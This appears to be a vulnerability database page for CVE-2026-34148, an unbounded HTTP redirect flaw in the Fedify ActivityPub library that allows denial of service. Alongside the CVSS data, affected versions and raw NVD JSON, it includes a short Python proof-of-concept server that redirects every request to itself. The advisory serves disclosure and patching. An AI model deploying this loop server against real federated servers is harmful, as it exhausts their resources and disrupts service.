CVE-2026-34148

Description

Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:fedify:fedify\/fedify:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:fedify:fedify\/vocab-runtime:*:*:*:*:*:node.js:*:* - VULNERABLE

Fedify < 1.9.6

Fedify < 1.10.5

Fedify < 2.0.8

Fedify < 2.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC: Malicious HTTP server causing infinite redirect loop
import http.server
import socketserver

class MaliciousHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Respond with 301 Redirect pointing to itself
        self.send_response(301)
        self.send_header('Location', self.path)
        self.end_headers()

PORT = 8080
with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd:
    print(f"Malicious server running at port {PORT}")
    httpd.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34148
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34148
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34148/
[4] VulDB https://vuldb.com/cve/CVE-2026-34148
[5] https://github.com/fedify-dev/fedify/releases/tag/1.10.5
[6] https://github.com/fedify-dev/fedify/releases/tag/1.9.6
[7] https://github.com/fedify-dev/fedify/releases/tag/2.0.8
[8] https://github.com/fedify-dev/fedify/releases/tag/2.1.1
[9] https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp
[10] https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34148", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:34.387", "lastModified": "2026-04-25T18:03:02.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.9.6", "matchCriteriaId": "ECF8706E-2E6C-4A6A-8F8C-DE9933F39224"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.10.0", "versionEndExcluding": "1.10.5", "matchCriteriaId": "BF4917D5-C6AA-45E3-B5F6-B3DCEF460212"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.8", "matchCriteriaId": "DD7D6EB1-0E97-43AE-9412-FA558F8FFA6B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.1", "matchCriteriaId": "0613E25B-2982-4E31-A7FB-5FF0F10FA724"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.0.8", "matchCriteriaId": "C298320F-CF10-4C9F-B8B5-F96ACDBFA963"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.1", "matchCriteriaId": "B6CC76BF-8504-4630-832A-F5EA09191546"}]}]}], "references": [{"url": "https://github.com/fedify-dev/fedify/releases/tag/1.10.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/releases/tag/2.0.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/releases/tag/2.1.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}